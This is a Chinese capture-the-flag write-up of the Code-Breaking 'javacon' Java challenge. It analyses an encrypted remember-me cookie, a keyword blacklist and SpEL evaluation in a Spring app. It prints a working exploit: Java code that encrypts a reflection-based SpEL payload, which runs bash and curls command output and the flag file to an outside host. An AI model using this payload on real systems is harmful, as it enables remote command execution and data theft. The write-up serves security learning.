java安全学习-Code-Breaking Puzzles-javacon详细分析

0x01.前言

最近在学习java安全,正好Code-Breaking系列有一道java代码审计相关的题目,这里详细分析一下这道题目,希望能和师傅们共同进步~

0x02.环境准备

需要反编译的jar包如下所示

直接通过以下步骤将jar文件导入到idea中,就可以获得源码文件

如下所示我们就可以获得反编译后的几个重要的类和一些配置文件

0x03.题目分析

主要的逻辑在MainController类中

BOOT-INF/classes/io/tricking/challenge/MainController.class:

@GetMapping

    public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {

        if (rememberMeValue != null && !rememberMeValue.equals("")) {

            String username = this.userConfig.decryptRememberMe(rememberMeValue);

            if (username != null) {

                session.setAttribute("username", username);

            }

        }

        Object username = session.getAttribute("username");

        if (username != null && !username.toString().equals("")) {

            model.addAttribute("name", this.getAdvanceValue(username.toString()));

            return "hello";

        } else {

            return "redirect:/login";

        }

    }

从这一段代码可以看到此时将从cookie中获取remember-me的值赋给rememberMeValue,若其不为空,则调用userconfig类中的decryptRememberMe对其进行解密,解密的逻辑在BOOT-INF\classes\io\tricking\challenge\UserConfig.class,其中加密和解密调用主要为以下两个函数

而解密方法中用到了remembermekey,此key在application.yml中

解密方法也是自己定义的一个类中实现的:

BOOT-INF\classes\io\tricking\challenge\Encryptor.class:

import java.util.Base64;

import javax.crypto.Cipher;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.spec.SecretKeySpec;

import org.slf4j.Logger;

import org.slf4j.LoggerFactory;

public class Encryptor {

    static Logger logger = LoggerFactory.getLogger(Encryptor.class);

    public Encryptor() {

    }

    public static String encrypt(String key, String initVector, String value) {

        try {

            IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));

            SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");

            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");

            cipher.init(1, skeySpec, iv);

            byte[] encrypted = cipher.doFinal(value.getBytes());

            return Base64.getUrlEncoder().encodeToString(encrypted);

        } catch (Exception var7) {

            logger.warn(var7.getMessage());

            return null;

        }

    }

    public static String decrypt(String key, String initVector, String encrypted) {

        try {

            IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));

            SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES"); 

            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");

            cipher.init(2, skeySpec, iv);

            byte[] original = cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));

            return new String(original);

        } catch (Exception var7) {

            logger.warn(var7.getMessage());

            return null;

        }

    }

}

解密用到key,初始向量,以及密文,类SecretKeySpec根据提供的字节数组来生成指定算法的key,这里生成AES加密的密钥,类IvParameterSpec根据字节数组生成初始向量,Ciper类提供了java核心的加密解密算法体系,通过调用getInstance()方法我们就可以生成可以进行提供加密的对象,入口参数为我们需要使用的加密算法,以及对应的反馈模式以及填充模式,比如上面代码中的Cipher.getInstance("AES/CBC/PKCS5PADDING");,之后需要对该对象初始化,指定我们要进行的操作为加密或者解密,通过指定模式来定义,1为加密,2为解密,第二个参数即为密钥,第三个参数为我们指定的加密算法所需要的参数,AES加密需要初始的IV,这里我们传递一个IV进去,init初始结束以后,我们就可以进行解密操作,这里直接通过调用ciper.dofinal()方法来进行解密,然后返回字节数组存在original变量中转成字符串进行返回

之后将从session中取出username,然后通过model.addAttribute()方法来设置model的键值,这里涉及到Spring MVC中Controller如何将数据返回给页面,要实现Controller返回数据给页面,Spring MVC 提供了以下几种途径:

ModelAndView:将视图和数据封装成ModelAndView对象,作为方法的返回值,数据最终会存到HttpServletRequest对象中

Model对象:通过给方法添加引用Model对象入参,直接往Model对象添加属性值。那么哪些类型的入参才能够引用Model对象,有三种类型,分别是org.springframework.ui.Model、org.springframework.ui.ModelMap 或 java.uti.Map。只要是这些类型的入参,都是指向Model对象的,而且不管定义多少个这些类型的入参都是指向同一个Model对象

@SessionAttributes:通过给Controller类添加@SessionAttributes注解,该注解的name和value属性值都是Model的key值,意思是指Model中这些key对应的数据也会存到HttpSession,不仅仅存到HttpServletRequest对象中,这样页面可以共享HttpSession中存的数据

@ModelAttribute:使用@ModelAttribute注解的方法会在此Controller每个方法执行前被执行,指定@ModelAttribute的name或value都是一样的功能,都是作为key,将注解的方法返回的对象作为value存放到Model中,不指定name和value的话,则以注解的方法返回的类型名称首字母小写作为key

除了上述的途径,也可以使用传统的方式,那就是直接使用HttpServletRequest或HttpSession对象来存数据,页面上再去取。

注意:Model中存的数据,最终都会存放到HttpServletRequest对象中,页面上可以通过HttpServletRequest对象获取数据。

而这里赋给name的值要经过getAdvanceValue()函数进行处理

首先定义var2变量为一些黑名单中的字符,然后通过循环判断解密以后的username中是否包含这些非法字符,这里通过正则来进行过滤,java正则表达式通过java.util.regex包下的Pattern类与Matcher类实现。

Pattern类用于创建一个正则表达式,也可以说创建一个匹配模式,它的构造方法是私有的,不可以直接创建,但可以通过Pattern.complie(String regex)简单工厂方法创建一个正则表达式,比如

其中pattern() 返回正则表达式的字符串形式,也就是exec,所以这里就是将黑名单中的关键字依次进行字符串正则匹配,具体的黑名单在根据BOOT-INF/classes/io/tricking/challenge/KeyworkProperties.class中的定义可以在BOOT-INF/classes/application.yml中找到blacklist:

find()对字符串进行匹配,匹配到的字符串可以在任何位置

通过Pattern.compile(keyword, 34).matcher(val)就能够对username值进行匹配,如果没有匹配到黑名单的话接下来就要进行spel处理,这里介绍一下spel。Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。通常使用SPEL求表达式的值时可以分为以下几步:

1.创建解析器:Spel 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现

2.解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象

其中var即为username的值,也就是我们可以注入的表达式,ParserContext 接口用于定义val所表示的字符串表达式是不是模板,及模板开始与结束字符,也就是我们注入的表达式以#{开头,以}结尾

3.构造上下文:准备比如变量定义等等表达式需要的上下文数据。

4.求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值。

至此为止,触发SPEL的基本逻辑我们已经清楚了,那么接下来只需要加payload进行加密,并赋给remember-me作为cookie发送即可,在构造payload之前我们需要知道spel是支持多种表达式的,我们通过通过Runtime.getruntime().exec()来执行命令,因此为了能够让spel执行exec()函数,我们可以使用类类型的表达式。使用T(Type)来表示java.lang.Class实例,"Type"必须是类全限定名,"java.lang"包除外,即该包下的类可以不指定包名,使用类类型表达式还可以进行访问类静态方法及类静态字段。

根据blacklist的过滤,我们不能直接执行 Runtime.getruntime().exec(),但是我们可以使用反射的方法来执行exec函数,这里要用到多次反射,spel表达式的payload格式如下所示

我们知道通常一层反射有如下形式:

其中test是一个类类型的对象,通过其我们可以访问类中定义的成员方法,Test是一个我们定义的类,我们想要执行该类的hack方法,通过以上三行就能够完成反射调用hack方法,其中23333为传入的hack方法的入口参数,回到Spel的payload的构造上,这里直接通过最外层的invoke函数来通过

反射出一个Runtime对象来执行exec函数,其中反射runtime对象的过程中又使用了一个invoke()来调用getruntime函数,从而能够成功返回Runtime对象,并且此时invoke的第二个参数即为command,也就是我们需要传给exec进行执行的命令,这样就能够利用字符串拼接成功绕过blacklist的过滤来执行命令。

0x04.题目复现

因为exec执行命令是没有回显的,因此我们curl将结果带出,首先执行

这里直接执行ls / base64将出现\n,因此用tr将\n替换成任意base64编码表以外的字符即可

因为源码中已经给出了encrypt方法,我们直接copy出来加密我们的payload即可

exp:

import javax.crypto.BadPaddingException;

import javax.crypto.IllegalBlockSizeException;

import javax.crypto.NoSuchPaddingException;

import javax.crypto.spec.IvParameterSpec;

import java.io.UnsupportedEncodingException;

import java.security.InvalidAlgorithmParameterException;

import java.security.InvalidKeyException;

import java.security.NoSuchAlgorithmException;

import java.util.Base64;

import javax.crypto.Cipher;

import javax.crypto.spec.SecretKeySpec;

class Encryptor{

    public static String encrypt(String key, String initVector, String value){

        try {

            IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));

            SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"),"AES");

            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");

            cipher.init(1, skeySpec, iv);

            byte[] encrypted = cipher.doFinal(value.getBytes());

            return Base64.getUrlEncoder().encodeToString(encrypted);

        } catch (UnsupportedEncodingException e) {

            e.printStackTrace();

        } catch (NoSuchAlgorithmException e) {

            e.printStackTrace();

        } catch (NoSuchPaddingException e) {

            e.printStackTrace();

        } catch (InvalidKeyException e) {

            e.printStackTrace();

        } catch (InvalidAlgorithmParameterException e) {

            e.printStackTrace();

        } catch (IllegalBlockSizeException e) {

            e.printStackTrace();

        } catch (BadPaddingException e) {

            e.printStackTrace();

        }

        return null;

    }

}

public class Main {

    public static void main(String[] args) {

        System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'/bin/bash','-c','curl 192.168.127.129:2345/`ls /|base64|tr \"\n\" \"-\"`'})}"));


    }

}

burp中cookie添加remember-me的cookie

 此时本地的2345端口将收到请求

此时解码就能看到flag文件了,此时只要继续加密curl 192.168.127.129:2345/`cat flag_j4v4_chun|base64`即可得到flag

继续加密第二条command并发送cookie,解码后就能获得flag

 0x04.总结

这道题涉及到spring spel表达式注入和payload构造中java反射,也学到了java开发中的很多东西,有兴趣的同学可以去复现https://github.com/phith0n/code-breaking

参考

https://www.cnblogs.com/crazylqy/p/4313236.html

https://www.znlrs.cn/3147.html

https://xi4or0uji.github.io/2019/03/20/code-breaking-easy/#Javacon

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